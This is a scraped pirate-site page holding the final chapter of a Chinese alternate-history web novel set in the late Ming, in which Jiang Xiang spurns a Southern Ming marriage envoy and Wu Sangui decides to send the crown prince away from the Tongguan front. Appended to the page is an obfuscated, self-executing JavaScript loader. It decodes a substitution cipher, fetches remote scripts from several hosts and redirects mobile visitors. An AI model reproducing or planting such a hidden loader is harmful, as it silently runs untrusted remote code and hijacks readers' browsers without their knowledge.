首页
第225章 大结局
返回
关灯 护眼:关 字号:小

第225章 大结局

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    “南明的使者?”
    姜瓖闻言也是一愣,皱眉看向焦光问道,
    “先生,南明此刻派使者上门,究竟所为何事?”
    焦光闻言也是一愣,半晌之后才说道。
    “某估计是为了讨好将军。”
    姜瓖闻言,顿时一脸怒意道:
    “呸!他们是什么东西,也敢来讨好我?某早晚要把他们生擒献给太子殿下。”
    在他心中,天下只有一个正统,那就是太子殿下。
    南明小朝廷那些人,不过是反贼罢了。
    自己遵从太子殿下,那自己定然是大明的忠臣。
    两者之间还有什么谈判的必要?
    这贼子若不早日除去,将来岂不是自己外孙的劲敌?
    如果不是焦荒光和朱成功给他定下了广积粮,缓发展的策略。
    他此刻都想打进南明,收复旧河山了。
    “把使者打出去吧,本将军跟这帮乱臣贼子没什么好谈的。”
    姜瓖冷笑一声道,说完,又举起酒杯。
    “来,众将士继续喝,莫要被乱臣贼子坏了心性。”
    “慢!”
    侍卫正要出去打人,焦光却是一把拦了下来。
    “将军,何不听听那使者所欲何为?”
    没多久,南明的使者就被带了上来。
    “见过大同总兵。”
    使者的姿态放得极低。
    哪里直到姜琳直接站了起来,大声斥责道。
    “呔!那狗贼,我家将军早几世宁远伯,现在的官位更是驻守辽东等处总官兵。你称我家将军大同总兵,究竟是何意思?”
    其余诸将士也是怒目而视。
    以旧官阶相称,那不是挑衅吗?这使者胆子够肥啊。
    那使者见状也是暗道不妙,只好改口道。
    “拜见宁远伯,刚才小的记错了。”
    无论是宁远伯还是总官兵,都是吴三桂那个太子封的官。
    这个太子的真实性还有待考证,更遑论南明并不认可这个监国太子。
    “哼!”
    姜琳冷哼一声,闷声坐了下来。
    姜瓖斜睨了使者一眼,又灌了一口酒,这才冷声说道。
    “你今日所来,所为何事啊?”
    使者小心翼翼地说道:
    “我朝重臣冒辟疆冒大人,听闻姜总兵有一女尚未出嫁,故万岁爷欲撮合此等美事。”
    话音刚落,整个大堂落针可闻。
    大堂之中的所有武将都是面露揶揄之色,想要看看此次姜瓖会是什么反应。
    果然,沉寂了3秒钟之后,姜瓖突然一拍桌子,大吼道:
    “冒辟疆算什么东西?也敢娶我家闺女?来人啊,把这使者乱棍打出去!”
    使者还没反应过来,显然没有想到姜瓖的反应会这么大。
    他还等再说什么,便已经乱棍打来,逼得他不得不向后退去。
    只不过他一边退,一边还在口中大喊。
    “宁远伯,万岁爷也是一番好意。若是将军同意此事,万岁爷必将委以重任,并且冒辟疆冒大人也是一表人才呀。宁伯不等我再说几句?”
    姜瓖不为所动,只是破口大骂。
    “什么冒辟疆?哪来的山野村夫?我听都没听说过。更何况,什么万岁爷?以我看都是些叛贼罢了。这天下只有一个监国太子,从来没听说过一个弘光天子。本将军与你这逆贼还有何话好说?”
    使者顿时急了。来之前,钱谦益史可法都是千叮咛万嘱咐,让他务必谨慎行事,便是放低姿态也无不可。
    可是没想到,这姜瓖根本就不跟你废话,刚说明来意,就把你乱棍打出去,还将万岁爷污蔑为反贼,这如何了得?
    等到南明使者被打出去之后,大堂之内也是一片骂声。
    “什么冒辟疆?听都没听说过!竟然想娶我家将军的女儿,简直是癞蛤蟆想吃天鹅肉!”
    “我看那弘光伪天子也是乱点鸳鸯谱,还妄想拉好我家将军怎么不撒泡尿照照自己?”
    “就是!此等反贼,早晚拿他们头盖骨喝酒。”
    “冒辟疆什么玩意?也敢娶我家主公的女儿?他也不去打听打听,我家小姐可是凤命在身。”
    姜瓖也是气呼呼地坐了下来,闷头灌了一壶酒。
    什么玩意?竟敢来碰瓷自家女儿来了。
    简直是脏了老子的耳朵。
    自家女儿将来可是要当皇后的人,一个冒辟疆算什么东西?真是痴心妄想。
    对他而言,南明上门求亲,简直是在玷污自家的女儿。
    “焦先生,我准备对南明用兵。好好教训这帮乱臣贼子。”
    焦光闻言,赶紧劝道。
    “将军,南明到底占据半壁江山,带甲百万,实力强劲。此诚不可与之争锋。不如先秣兵秣马,等发育强大了,再去跟那狗贼交锋。”
    姜瓖听完这番话,瞬间连吃饭的心情都没有了。
    以他现在这点地盘。若是等发育强大,估计黄花菜都凉了。
    宴席被这么一闹,也匆匆散去。而朱成功则是趁机跟着姜瓖来到一间偏房。
    “宁远伯,我有个好消息要告诉你,你不妨先猜一猜。”
    朱成功也是难得想和姜瓖开一开玩笑。
    姜瓖闻言也是一愣,好消息?
    如今这天下还有什么好消息?
    他试探着问道。
    “是不是高杰给你回信,愿意把扬州让给你了?”
    朱成功闻言,顿时笑容僵在脸上。
    前段时间,他确实写信给过高杰,试探一下对方的意思。但是高杰直接来信把他骂了一顿,说他痴心妄想。
    他现在若真敢去扬州赴任,只怕被对方打出屎来。
    “我前几天从山海关得到消息,得知皮岛的毛文龙旧部已经投靠了太子殿下。”
    “以毛文龙旧部的金帛,想来应该很快就能将将军的部队武装到牙齿。”
    姜瓖闻言,顿时激动起来。
    “国姓爷此言当真?”
    说实话,他都有些哽咽了。
    自从他亲自带兵以来,真的是知道这兵是真难带呀,一分钱都恨不得分成两半用,何曾有过豪族支持过他?
    他是真没钱啊,要不然也不会有这么多士兵连铠甲都没有。
    如今得知毛文龙旧部愿意辅佐太子,并且出资支援他,他激动得差点蹦起来。
    “此事我是从刘玄初那里得知的,定然不会有假。”
    朱成功笑了笑道。
    “好好好,如此看来,我短时间之内就能训练出一支大军,等明年开春,我就能坐国姓爷的船队南下,将江南那帮狗崽子打出屎来。”
    姜瓖兴奋不已,仿佛已经看到了横扫南明的那一天。
    然而,朱成功接下来一个消息,就让他笑不出来了。
    “将军,其实还有一件事。”
    朱成功叹了一口气道,
    “吴三桂久攻潼关不下,竟然挟持太子前往前线,说是要提振士气,一鼓作气拿下潼关。
    如今算算日子,太子殿下应该已经到潼关前线了。”
    “什么?吴三桂狗贼安敢如此?”
    姜瓖气得怒发冲冠,顿时一脚将身旁的椅子踢得粉碎。
    但是他犹不泄愤,又举起一旁的桌子,猛地向地上砸了下去。
    只见他双眼血红,仿佛一头立刻就要吃人的猛兽。
    而后,他突然举起手中的长矛,愤然从屋外走去。
    “将军,你要干什么?”
    朱成功也是吓了一跳,连忙阻止。
    “还能干什么?当然是亲自去一趟潼关,把吴三桂那狗贼的头颅砍下来。”
    姜瓖的声音越来越冷。
    “将军,不要冲动啊。”
    朱成功心中大骇,他不明白,明明姜瓖年岁比自己还大,怎么会比自己还要冲动。
    “为什么不行?我不带大军,只需一人一骑前往潼关,也不会引人注目。等见到了吴三贼,我就将他的头砍下来,向殿下请罪。”
    姜瓖再也忍不住了。
    太子既是他的女婿,又是自己的恩公。若是太子出了事情,谁还能兑现自己的承诺?自己的女儿又嫁给谁去?
    “将军,冷静啊。潼关虽然凶险,但谅那吴三桂也不会让太子殿下受到威胁,否则他何以对得住天下人?
    你如果贸然前去潼关,且不说辽东会不会突然受到满清的袭击。但即便你杀了吴三桂又如何?殿下便能因此脱困吗?
    不,不可能。你既救不了殿下,甚至会让你也一起死掉。你如果死了,将来谁为殿下讨伐不成?”
    朱成功一边劝,一边死命拉住对方。可他的力气哪里会有久经沙场的姜瓖大?
    顾此,他情急之下,只能喊来众人。
    随着朱成功的大喊,正在吃席的众将士也是匆匆赶来,看到眼前这一幕,纷纷傻眼。
    “将军这是要干嘛?”
    朱成功赶紧解释道。
    “将军说要前去潼关诛杀吴三桂,你们快来拦住他……”
    他费了好大的功夫,才把刚才的事情说清楚了。
    甘辉、姜琳等人闻言,顿时怒从心中起。
    “将军真是好样的,算我一个,我也要前去诛杀那吴三桂。”
    朱成功一看都傻眼了,自己请人来劝架,没想到这些人一个个都上头了。
    这不纯纯捣乱吗?
    好在一群人中,焦光总算能保持清醒,而恰好姜瓖也是特别听焦光的话。
    顾此,在焦光和朱成功一番劝诫之后,姜瓖终于是冷静了下来。
    …...
    另一边,南京城。
    冒辟疆在听完使者的汇报之后,眼中几乎都要喷出血来。
    “姜瓖这贼子安敢如此!他怎敢如此羞辱于我?”
    钱谦益看着发狂的冒辟疆,脸色也十分的难看。
    倒不是因为姜瓖拒绝了他,而是在于冒辟疆以及弘光天子的名分。
    什么叫南明个个是反贼?
    什么叫山海关的太子才是天下正统?
    他懂什么?
    如果没有弘光爷保住半壁江山,那这天下岂不是都成了达子和流贼的天下了?
    弘光爷那就保住了大明的火种,怎么能叫反贼呢?
    弘光爷成了反贼,那咱们这些人不都是成了反贼了?
    对于钱谦益这种要名声的人来说,这真是是可忍孰不可忍。
    “对了,你刚才说什么?姜瓖大宴宾客,是在庆祝他自己的女儿要入宫侍奉太子?”
    钱谦益突然想到了一个关键点。
    那使者也是点头称是。
    “不错!”
    钱谦益这才恍然大悟,挥手将使者送了下去,然后对冒辟疆说道。
    “公子,如今你的复社规模已成火候。想当年讨伐辽东之时,你亦有贡献。既然那姜瓖有功,为何公子没有功呢?”
    “那还用说?自然是因为我是大明的臣子。吴三桂岂会给我封赏?”
    冒辟疆冷哼一声道。
    “主要还是您没有向监国太子表忠心。”
    “向那监国太子表忠心?且不说我尊奉的是弘光爷,便是真要向那监国太子表忠心,岂不是也要向那吴三桂表忠心?”
    钱谦益摇了摇头道。
    “非也。监国太子乃是崇祯皇帝之后,论法理,他比弘光爷更有正统性。所以,您向监国太子表忠心,亦有法理可循。
    并且,您如果向监国太子表忠心,就代表您向吴三桂示好,如此一来,您将来的地位也将如姜瓖一般。”
    冒辟疆想了想,觉得钱谦益说的并非没有道理,又问道。
    “可是,我又去哪里找一个跟洪承畴同样十恶不赦的人献给太子殿下?”
    钱谦益笑道:“想那吴三桂为了向监国太子表忠心,先将自己的义女嫁给了监国太子,而后又为他纳了柳如是和董小宛。
    姜瓖为了向太子表忠心,则是将自己的女儿送入太子行辕侍奉殿下。
    公子不如……”
    冒辟疆闻言,顿时大怒道。
    “你这说的是什么话?我怎么会是这种人?”
    他的女儿目前年仅10岁,如果送入宫中,岂不是要被世人嘲笑一辈子了?
    “公子,你骂我作甚?我在为你参考呢。”
    钱谦益也是一脸无辜道,他还什么都没说,怎么冒辟疆就一脸的深仇大恨?
    “便是将我的女儿送入宫中。至少也得等个三四年之后。”
    冒辟疆咬牙切齿道。
    钱谦益一听就惊了,大为不解。
    “公子,你怎么能做此等禽兽行为?你家闺女如今才10岁,再过三五年也未到婚嫁的年龄,你怎么会有如此恶毒的想法?
    你如果真这么做,别说天下人看不起你,便是我也看不起你。”
    冒辟疆听钱谦益这么一说,也有些懵了,难道对方不是这个意思?
    自己虽然善于军事,谈起军事来可谓是指点江山,挥斥方遒。
    但是一旦涉及这种政治上的弯弯绕绕,他就是个门外汉了。
    此刻,他被钱谦益这么一怼,也有些面红耳赤。
    “钱老莫要再说了,这事情是我想差了,以后休要再提。”
    水太凉又对冒辟疆一顿说教,说什么君子有所为有所不为,一个人在世上一定得注重名声,巴拉巴拉的。
    直到把对方说的恨不得找个洞钻下去,方才罢休。
    “公子难道忘了秦淮八艳除了柳如是、董小宛之外,还有李香君等人,皆是艳名闻名一方。公子何不……”
    冒辟疆立刻秒懂,连连点头。
    “我知道了,我这就派人去找那李香君。”
    ……
    潼关前线,吴三桂军大营。
    中军营帐内。
    吴三桂望着高得捷的无头尸首,心痛之余又感到万分恼火。
    “没想到一个小小的潼关,竟让我折戟沉沙在此,不但千年爱将陨落,亦有数千精锐葬身于此。实在是可恨呐!”
    这几个月以来,他不惜一切代价强攻潼关,但最终依旧没有拿下这座关中的门户,还让自己损失惨重。
    潼关本就是千古坚城,自不消说。
    但,李自成的抵抗意志之强,也是颇为罕见。
    而且他的麾下大顺军都是百战之军。如今李自成自去尊号,认太子为主,这让他军心顿时就稳住了。
    更重要的是,今天又莫名其妙冒出来一个李定国,在千军万马之中如入无人之境。
    失败的原因有很多,吴三桂随便总结都能总结出三四条。但是这并不能改变当下的战局。
    “侯爷!”
    吴国贵红着眼圈说道。
    “不如明日再让末将冲一次潼关,此次定要将此关拿下。
    末将定要手刃李自成与李定国的头颅,来祭奠高将军。”
    吴国贵与高得捷向来交好。
    并且此次对方就是因为掩护自己而身陨的,这让他心中愧疚之心更重。
    最让他难以介怀的是,高兄弟这一走,还死无全尸,连头颅都被对方拿走了。
    只是他话音刚落,方光琛立刻上前道。
    “侯爷,不可如此。如今我军军心荡漾,短时间内若强攻,必然损失惨重。”
    吴国贵顿时瞪大了眼睛,怒道。
    “方先生,您这是说的什么话?难道高将军的仇就不报了吗?千百精锐的牺牲就这样算了吗?
    您何不去看看?如今高将军的头颅都被悬挂在潼关之上,这是何等的耻辱!”
    方光琛冷静地说道。
    “吴将军,我能理解你的心情,但是眼下确实不适合进兵,要以大局为重。”
    “放屁!你就是怕了!”
    吴国贵闻言大怒,对方光琛大声斥责道。
    他现在只想报仇。
    “够了,都不要说了。”
    吴三桂脸色一片铁青。他对吴国贵呵斥道。
    “要不要进攻,我自有决断。高将军之死,我也很悲痛。但是大敌当前,你们要先打起来不成?”
    吴国贵虽然心有不甘,但仍然抱拳道。
    “末将不敢!”
    “军议到此为止,都下去休息吧。”
    吴三桂挥了挥手,又继续吩咐道。
    “将高将军好生安葬,等我日后踏平潼关,自会寻回高将军的头颅,再为其祭奠不迟。”
    众将闻言,也只能眼巴巴地抬着高得捷的尸首往外走。
    众人散去之后,只有方光琛留了下来。
    吴三桂揉了揉自己发昏的头颅,有些疲惫地说道。
    “今日一战,是我之过,我不该去斗将的,应该趁士气方酣,直接攻城。”
    如果不是他想借斗将,打击一下敌方的士气。那么高得捷就不会死,更不会让李定国在千军万马中如此嚣张。
    如今倒好,自己己方士气大衰。
    反而是闯贼军中的士气高昂,简直岂有此理。
    自己如果直接下令强行攻城,说不定胜负之数犹未可知。
    方光琛闻言说道。
    “主公,这并不是您的过错,主要是那李定国太过勇猛,谁能想到身经百战的高将军竟然被李定国所杀?”
    之前攻城失利,还能说军心不足,士气不高。但是如今军心都被殿下提起来了,结果被李定国这么一个籍籍无名的小将给坏了事。
    对方先杀了高得捷不说,还能在千军万马之中如入无人之境,最后甚至力刚吴应琪等三人。
    甚至如果不是马宝最后出手,对方还真有可能在千军万马之中,取了吴三桂的首级。
    吴三桂想到此处,就有些后怕。
    自己身边有如此精锐大军,有如此武艺高强的将领保护,竟然还能被对方蹬鼻子上脸,甚至一矛将他给刺死,简直是闻所未闻,奇耻大辱。
    想到此处,他又对方光琛说道。
    “看来如今不能让太子留在这里了,需要让他回去,军中实在太危险了。”
    他本来觉得,有自己庇护、有大军庇护,太子应该很安全。
    但是经过李定国这么冲锋陷阵之后,他有些怀疑了。
    如果李定国率领数千老营骑兵攻击他的营地,甚至掳走太子的话,那他之前一切的努力都将给李自成做嫁衣。
    方光琛回复道。
    “如今太子正在军中慰问士卒。他说这一次失败,损失惨重,将士们负伤严重,他不能这么干看着。他说他需要给平西侯做点贡献。”
    吴三桂闻言也是一愣,旋即说道:
    “走,带我去看看。”
    很快,他们就在伤兵营中找到了王旭。
    只见王旭已经褪去了一身黄袍,换上了一身便服,正在伤员之中来回穿梭,为士卒亲自换药,毫无太子的架子。
    每一个被他照顾的士兵都感激涕零,恨不得当场跪下。
    监国太子亲自照顾自己,这是何等的荣耀啊!放眼古今,简直闻所未闻啊!
    吴三桂在暗处看了一会,倒是没有丝毫怀疑王旭是何居心,反而赞叹道。
    “殿下如今也是很懂事啊。”
    太子的举动显然让他很满意,他能如此安抚军心,倒是省去了他很多事。
    但是称赞归称赞,他还是对左右吩咐道。
    “明日一早就接太子回山海关。”
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();